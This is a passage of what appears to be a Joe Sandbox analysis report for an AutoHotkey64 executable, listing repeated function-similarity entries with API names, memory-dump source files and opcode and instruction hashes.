                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseCurrentDirectoryGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1560712716-0
                                                              • Opcode ID: 53b3467019293b88826b59100fe5fa8e1de193efdc767810fc7839c39b013933
                                                              • Instruction ID: 1243502fac54585abe19fe1ef03391d804f7839ca832f68acb39d843becd0278
                                                              • Opcode Fuzzy Hash: 53b3467019293b88826b59100fe5fa8e1de193efdc767810fc7839c39b013933
                                                              • Instruction Fuzzy Hash: C391A4B160464486F7668B27E4843E937E1F34DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 00000001400453F2 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 1da7e3d02efc1179c51f8ec4abb1de164485bed54adcb3a8b7d03291c65bb041
                                                              • Instruction ID: 668456d10fa7ebc874de616b13a3f5fd27e545dd358645ec9f92ceebd019fa59
                                                              • Opcode Fuzzy Hash: 1da7e3d02efc1179c51f8ec4abb1de164485bed54adcb3a8b7d03291c65bb041
                                                              • Instruction Fuzzy Hash: 0A91B3B1604A4486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140045889 Relevance: 9.2, APIs: 6, Instructions: 181windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$wcsncpy$ClipboardCloseGlobalIconMessageNotifyPeekShell_Unlock
                                                              • String ID:
                                                              • API String ID: 34998114-0
                                                              • Opcode ID: cc3b2448d063f9fa2a293ec88a9b3a0331015b38b0df60e15b6e47c73352d10c
                                                              • Instruction ID: cd2a3af279a0df48de6fd6997473300782bdacff043229362859acb45b4536f1
                                                              • Opcode Fuzzy Hash: cc3b2448d063f9fa2a293ec88a9b3a0331015b38b0df60e15b6e47c73352d10c
                                                              • Instruction Fuzzy Hash: A19192B1604A4486F7668B27E4843E937A1F78DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140044571 Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekSendTimeoutUnlock
                                                              • String ID:
                                                              • API String ID: 3716859204-0
                                                              • Opcode ID: 1a97b019457cfb5727dcd69d0316aa4630c20655e8cba8d2a2e787eedf5227e5
                                                              • Instruction ID: 325628cbda732e344edb834dd90c7d98e8d99e4267d2715868d040d9e31bc5ff
                                                              • Opcode Fuzzy Hash: 1a97b019457cfb5727dcd69d0316aa4630c20655e8cba8d2a2e787eedf5227e5
                                                              • Instruction Fuzzy Hash: 4E91C2B1604A4486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C490C745
                                                              Function 000000014004474A Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: b839fde8de430655906832cd8195653f6971f845396f890aa2a543eef60c691d
                                                              • Instruction ID: eb3c5b2b51b95b9c521b8f4bd2fa546ed617be3f9a02df97eb9bb1535dfcc240
                                                              • Opcode Fuzzy Hash: b839fde8de430655906832cd8195653f6971f845396f890aa2a543eef60c691d
                                                              • Instruction Fuzzy Hash: B691B2B1604A4486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140044DFC Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseDiskFreeGlobalMessagePeekSpaceUnlockwcsncpy
                                                              • String ID:
                                                              • API String ID: 833027430-0
                                                              • Opcode ID: fd66f43a7e3a93665d7b26a61bdc0ebb9fa2ed4bcd4c6483bb97091e2c3b375b
                                                              • Instruction ID: 4177c6077edf563ddcc694fc42cea08040382dfb6cfac8b2cc5e20e1336bbe26
                                                              • Opcode Fuzzy Hash: fd66f43a7e3a93665d7b26a61bdc0ebb9fa2ed4bcd4c6483bb97091e2c3b375b
                                                              • Instruction Fuzzy Hash: 9F91B2B160464486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C494C745
                                                              Function 0000000140044E35 Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: e400514f1bdbcc076bf6233b4c76455c9dbef90e304f83b196b37643990e7710
                                                              • Instruction ID: 8d9994cdd9ae42b871ef677544237bae31590eee4288713f91733216287a8e54
                                                              • Opcode Fuzzy Hash: e400514f1bdbcc076bf6233b4c76455c9dbef90e304f83b196b37643990e7710
                                                              • Instruction Fuzzy Hash: E791B2B160464486F7668B27E4843E937A1F34DBE4F11022AEB5963BF6DB38C490C745
                                                              Function 0000000140044FCE Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_wcstoi64
                                                              • String ID:
                                                              • API String ID: 3633153638-0
                                                              • Opcode ID: 560715958e9ad22cff9bd45609a633d546cfc09d1c45cd3a74f70294f1851cde
                                                              • Instruction ID: b1c7ae8a24810778069fafe1a3c6551f2d9c9bce690edc16e42a87455a890a0f
                                                              • Opcode Fuzzy Hash: 560715958e9ad22cff9bd45609a633d546cfc09d1c45cd3a74f70294f1851cde
                                                              • Instruction Fuzzy Hash: 0A91B2B1604A4486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140045913 Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 880b1dff8f4e553541d2c0df82f1ebc126d00dfe579599b08bd480e9fc670724
                                                              • Instruction ID: 4394bd67c1693840cb74236f192169d336ff9929c8093f819edf5c3ce66602de
                                                              • Opcode Fuzzy Hash: 880b1dff8f4e553541d2c0df82f1ebc126d00dfe579599b08bd480e9fc670724
                                                              • Instruction Fuzzy Hash: D791C3B160464486F7668B27E4443E937A1F78DBE4F11022AFB5963BF6DB38C491C705
                                                              Function 00000001400439A6 Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: f44e48da3a4ef016309810ce71fe0c15323a17a74de66e0742fcb4e04bc019e3
                                                              • Instruction ID: d52a6a48fe8b1f69d2f633c361f75ca9b127a758eb7ec18129ddcc52a3c250c1
                                                              • Opcode Fuzzy Hash: f44e48da3a4ef016309810ce71fe0c15323a17a74de66e0742fcb4e04bc019e3
                                                              • Instruction Fuzzy Hash: D091B3B1604A4486F7668B27E4843E937A1F78DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140043A07 Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 2c38b2394ff07ad6b09adf69979951e184fe247ff7aa0aca12887ef602c37aa7
                                                              • Instruction ID: 68395de68f15584dda82d4f57cb8725951b19e11d1ed9d3fe99a1cde9902d1fc
                                                              • Opcode Fuzzy Hash: 2c38b2394ff07ad6b09adf69979951e184fe247ff7aa0aca12887ef602c37aa7
                                                              • Instruction Fuzzy Hash: 6591A3B160464486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C494C745
                                                              Function 0000000140045ACB Relevance: 9.2, APIs: 6, Instructions: 180windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c6f54e8511f42a2a0e1dbc8550ce043455d927c3a8ff5368ee60a374936b09fc
                                                              • Instruction ID: 0a36d174e6b84d2d2bfdc6455f051083e43397f8259c8082965f98708c1376c9
                                                              • Opcode Fuzzy Hash: c6f54e8511f42a2a0e1dbc8550ce043455d927c3a8ff5368ee60a374936b09fc
                                                              • Instruction Fuzzy Hash: EA91C5B160464486F7668B27E4843E937A1F34DBE4F11022AFB59A7BF6DB38C490C745
                                                              Function 0000000140044C6F Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalKeyboardLayoutMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 2243892272-0
                                                              • Opcode ID: 157350ce186ee7916c2e98032de0ce45d035acded18b6273f6cfff9b7bb1ffa6
                                                              • Instruction ID: 7a5f0806cf76410240df851954ba170cd30be9f0ce1f27d887bd55dd9ba5ae5c
                                                              • Opcode Fuzzy Hash: 157350ce186ee7916c2e98032de0ce45d035acded18b6273f6cfff9b7bb1ffa6
                                                              • Instruction Fuzzy Hash: 0A91A2B1604A4486F7668B27E4843E937A1F38DBE4F11022AFB5963AF6DB38C491C745
                                                              Function 0000000140044FBA Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 7558bef45f3172f0915147ab9f8f9f7be5cb70ddfa55b07ab712ebb5076c86f2
                                                              • Instruction ID: a13409067177f67b98d3649f928cc95d36bbf991ca3d655c2c993bcbebb8f817
                                                              • Opcode Fuzzy Hash: 7558bef45f3172f0915147ab9f8f9f7be5cb70ddfa55b07ab712ebb5076c86f2
                                                              • Instruction Fuzzy Hash: 1691B2B160464486F7668B27E4843E937A1F38DBE4F11022AFB5963AF6DB38C490C745
                                                              Function 0000000140044FE9 Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ErrorLast$ClipboardCloseDeleteFileGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 3770565981-0
                                                              • Opcode ID: 31f85b4aac6b10333885491effea3169971e67ec24347b4816f7e5e158266774
                                                              • Instruction ID: 1ae04a180cc40b141445f50b4146f0a58f62b4bc88fa94d12a40862e133b32a3
                                                              • Opcode Fuzzy Hash: 31f85b4aac6b10333885491effea3169971e67ec24347b4816f7e5e158266774
                                                              • Instruction Fuzzy Hash: 8091A2B160464486F7668B27E4843E937A1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 0000000140044FFD Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
